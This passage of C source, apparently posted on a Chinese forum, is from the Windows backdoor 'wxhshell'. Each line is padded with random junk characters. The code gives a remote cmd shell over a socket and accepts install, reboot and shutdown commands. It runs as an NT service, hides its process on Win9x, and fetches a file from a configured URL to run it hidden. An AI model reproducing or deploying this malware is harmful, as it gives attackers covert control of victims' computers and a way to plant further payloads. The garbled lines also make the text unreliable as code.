  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0L}`fYf  
  } lp`j3)  
  else { 9Yt|Wj  
'2lV(>"  
    switch(cmd[0]) { 9z(SOzZn  
  a\P:jgF  
  // 帮助 MCE@EFD`\  
  case '?': { q{w|`vIb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |"*P`C=  
    break; \K$\-]N+  
  } ;\pr05  
  // 安装 8m+~HSIR  
  case 'i': { +SFFwjI  
    if(Install()) k4{!h?h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ej(BE@6>s  
    else ZqclmCi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SeHrj&5U  
    break; S{^x]h|?  
    } bxE~tsM"@Y  
  // 卸载 aL(G0@(  
  case 'r': { j4XVk@'OX  
    if(Uninstall()) ka_m Q<{9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #9GfMxH  
    else ?`RlYu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /pF8S!,z  
    break; d+DO}=]  
    } vu( 5s  
  // 显示 wxhshell 所在路径 A@?0(  
  case 'p': { bB<S4@jF8z  
    char svExeFile[MAX_PATH]; 6,q0F*q  
    strcpy(svExeFile,"\n\r"); \&F4Wl>`  
      strcat(svExeFile,ExeFile); [RBSUOF  
        send(wsh,svExeFile,strlen(svExeFile),0); %R GZu\p  
    break; o*K7(yUL4  
    } 0>Y3xNb  
  // 重启 |k}<Zz1UM  
  case 'b': { 8g -u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %n$f#Ml_r  
    if(Boot(REBOOT)) [{Wo:c9Qq1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6FDj:~  
    else { "](Q2  
    closesocket(wsh); wR_mJMk_  
    ExitThread(0); <zXG}JuL@T  
    } / &Z8g4vc  
    break; "L.k m  
    } B EwaQvQ!  
  // 关机 7;Ze>"W>  
  case 'd': { +3o vO$g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L } R"1O  
    if(Boot(SHUTDOWN)) GvtK=A$b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WN]k+0#  
    else { ?)9L($VVD  
    closesocket(wsh); ) f3A\^  
    ExitThread(0); >vD}gGBe  
    } 2S7 BzZ/  
    break; G@P;#l`(D  
    } (1x8DVXNN  
  // 获取shell j&Hui>~  
  case 's': { }[leUYi`  
    CmdShell(wsh); syu/"KY^!  
    closesocket(wsh); ^: /c<(DQD  
    ExitThread(0); '`^~Zy?c  
    break; .6MG#N  
  } h] ho? K  
  // 退出 ;?u cC@  
  case 'x': { pj_W^,*/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @PM<pEve  
    CloseIt(wsh); D2VYw<tEA  
    break; XW aa`q  
    } u^xnOVE  
  // 离开 rn . qs  
  case 'q': { "d<uc j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6"iNh)  
    closesocket(wsh); #pZeGI|'J  
    WSACleanup(); _1)n_P4  
    exit(1); A@o7  
    break; .4]XR/I$  
        } A$p&<#  
  } z#G\D5yX[*  
  } ~ AD>@;8fG  
Y nnK]N;\x  
  // 提示信息 ;40Z/#FI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $-/-%=  
} c) Eu(j\#  
  } cEf"m ?w  
qJF'KHyU{l  
  return; wdj?T`4  
} <e#v9=}DI  
uKzx >\}?1  
// shell模块句柄 e!0xh  
int CmdShell(SOCKET sock) 2MB>NM<xO  
{ ajkV"~w',|  
STARTUPINFO si; 'T^MaLK  
ZeroMemory(&si,sizeof(si)); [? "hmSJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !Gnm<|.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $m ;p@#n  
PROCESS_INFORMATION ProcessInfo; l`~$cK!  
char cmdline[]="cmd"; t>quY$}4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .oM- A\!  
  return 0; Tp@Yn  
} Q1Qw45$  
(,sz.  
// 自身启动模式 V}TPt6C2  
int StartFromService(void) Ur 1k3  
{ ^jL44? W}l  
typedef struct ,Gy,bcv{  
{ ts&\JbL  
  DWORD ExitStatus; 8p829  
  DWORD PebBaseAddress; NI"Zocp  
  DWORD AffinityMask; o~Hq&C"^}  
  DWORD BasePriority; (]sm9PO  
  ULONG UniqueProcessId; 27R4B O  
  ULONG InheritedFromUniqueProcessId; w*"Ii%iA<  
}   PROCESS_BASIC_INFORMATION; 8oU R/___  
De 3;}]wC  
PROCNTQSIP NtQueryInformationProcess; c|:EMYS  
aNM*=y`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q0`@=5?-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }+lK'6  
\_u{ EB'b  
  HANDLE             hProcess; rhzI*nwOT  
  PROCESS_BASIC_INFORMATION pbi; N6kMl  
O<wH+k[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xK0;saG#  
  if(NULL == hInst ) return 0; [Cd#<Te3  
RPMz&/k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xgh%2 ;:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?lqqu#;8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uFmpc7  
b i-Am/9  
  if (!NtQueryInformationProcess) return 0; k~;~i)Eg  
1xtS$^APcd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $Vp&7OC]  
  if(!hProcess) return 0; ~BTm6*'h  
sAO/yG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )( YJ6l  
Z  OAg7  
  CloseHandle(hProcess); fWJOP sp*/  
g<~ODMCO?W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); orWF>o=1  
if(hProcess==NULL) return 0; 5Th\wTh04  
\3(s&K\Y6\  
HMODULE hMod; V@LBy1z  
char procName[255]; 08@4u L  
unsigned long cbNeeded; - A}$5/  
Yrf?|,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k^JgCC+  
G@e;ms1  
  CloseHandle(hProcess); r.@UH-2c  
q~18JB4WPJ  
if(strstr(procName,"services")) return 1; // 以服务启动 s,C>l_4-  
s(5(zcBK  
  return 0; // 注册表启动 ?N+pWdi  
} _ZWU~38PM  
6V9r[,n  
// 主模块 IY~I=}  
int StartWxhshell(LPSTR lpCmdLine) }|-8- ;  
{ B~Z61   
  SOCKET wsl; A$~H`W<yxB  
BOOL val=TRUE; 9]chv>dO)=  
  int port=0; .2P3 !KCL  
  struct sockaddr_in door; &9Z@P[f  
+yr~UP_ }  
  if(wscfg.ws_autoins) Install(); %;_EWs/z8  
i5WO)9Us  
port=atoi(lpCmdLine); dqU)(T=C  
a{;+_J3S  
if(port<=0) port=wscfg.ws_port; -'oxenu  
Ss{5'SF)$c  
  WSADATA data; ]9<H[5>$R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !#5y%Bf  
)g&nI <Mh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w4^ $@GtN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^eV  K.  
  door.sin_family = AF_INET; }f{5-iwD}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s)'+,lKw  
  door.sin_port = htons(port); "FE%k>aV@v  
~y 2joStx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vPZ0?r_5W  
closesocket(wsl); 7k#>$sY+  
return 1; ;$*tn"- ?~  
} 0|hOoO]?q&  
v-F|#4Q=ut  
  if(listen(wsl,2) == INVALID_SOCKET) { D!)h92CIDm  
closesocket(wsl); SoCN.J30  
return 1; Efd@\m:~>  
} I?q- :9:  
  Wxhshell(wsl); E-9>lb  
  WSACleanup(); q?w%%.9]X  
Jn&u u  
return 0; a*,V\l|6  
2*-qEUl1  
} :E|+[}|  
0|\JbM  
// 以NT服务方式启动 1?TgI0HS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,F'y:px  
{ ]RVme^=  
DWORD   status = 0; O"[#g  
  DWORD   specificError = 0xfffffff; .(Z^}  
bL:+(/:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d.>O`.Mu)}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )C$Ij9<A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Py9:(fdS  
  serviceStatus.dwWin32ExitCode     = 0; vXSpn71Jb  
  serviceStatus.dwServiceSpecificExitCode = 0; Y}\3PaUa  
  serviceStatus.dwCheckPoint       = 0; 527u d^:  
  serviceStatus.dwWaitHint       = 0; *MWI`=c  
{Z$]Rj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tz(Dhb,  
  if (hServiceStatusHandle==0) return; lP(<4mdP  
MzW!iG  
status = GetLastError(); ~vZ1.y4  
  if (status!=NO_ERROR) TYxi &;w  
{ Pl|*+g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e 7Sg-NWV  
    serviceStatus.dwCheckPoint       = 0; naY#`xig  
    serviceStatus.dwWaitHint       = 0; nrTCq~LO(  
    serviceStatus.dwWin32ExitCode     = status; 2Y}A9Veb  
    serviceStatus.dwServiceSpecificExitCode = specificError; esv<b>`R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `1 Tg8  
    return; }V+&o\4  
  } ,+5 !1>\  
(elkk#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @<S'f<>g  
  serviceStatus.dwCheckPoint       = 0; %CrpUx  
  serviceStatus.dwWaitHint       = 0; 61b<6 r0o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?I.bC   
} 57N<OQWf  
@<1T&X{Z!  
// 处理NT服务事件,比如:启动、停止 ?`SB GN;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y0t-e   
{ 5e'**tbKH  
switch(fdwControl) taSYR$VJ  
{ aTLr%D:Ka  
case SERVICE_CONTROL_STOP: %A@U7gqc  
  serviceStatus.dwWin32ExitCode = 0; %)r1?H} #%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y$|OE%S  
  serviceStatus.dwCheckPoint   = 0; y=1(o3(  
  serviceStatus.dwWaitHint     = 0; DC$x}1  
  { (jh0cy}|]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B/EGaYH  
  } {RH)&k&%  
  return; ;sSRv9Xb  
case SERVICE_CONTROL_PAUSE: \D! I"mr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g+k yvI7o  
  break; Ys%d  
case SERVICE_CONTROL_CONTINUE: J\ ?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LC/%AbM  
  break; {'zs4)vw  
case SERVICE_CONTROL_INTERROGATE: pmDFmES  
  break; }Do$oyAV$G  
}; V#-8[G6Ra  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E-#}.}i5  
} Xu[A,6  
eG5xJA^  
// 标准应用程序主函数 KlRIJOS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4Cf.%f9@  
{ f:A1j\A?  
5bprhq-7  
// 获取操作系统版本 k?Iq 6  
OsIsNt=GetOsVer(); 0~nub  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MJ@PAwv"  
9C1\?)"D^e  
  // 从命令行安装 l9$"zEC  
  if(strpbrk(lpCmdLine,"iI")) Install(); [Kanj/  
oSs~*mf  
  // 下载执行文件 !o`h*G-x  
if(wscfg.ws_downexe) { #Bas+8 @,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LZ~}*}jy  
  WinExec(wscfg.ws_filenam,SW_HIDE); meyO=>  
} I6 Q{ Axy  
:W1B"T<  
if(!OsIsNt) { 4"%LgV`  
// 如果时win9x,隐藏进程并且设置为注册表启动 :\G`}_db'  
HideProc(); xR5zm %\  
StartWxhshell(lpCmdLine); G+Zm  
} k!wEPi]  
else #6Fc-ysk:  
  if(StartFromService()) 140_WV?7  
  // 以服务方式启动 ygTc Y  
  StartServiceCtrlDispatcher(DispatchTable); ]AB4w+6!  
else @avG*Mr^  
  // 普通方式启动 p!~V@l  
  StartWxhshell(lpCmdLine); X~g~U|B@  
V0F&a~Q  
return 0; ~fF;GtP  
}
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只看该作者 1 发表于: 2006-10-10
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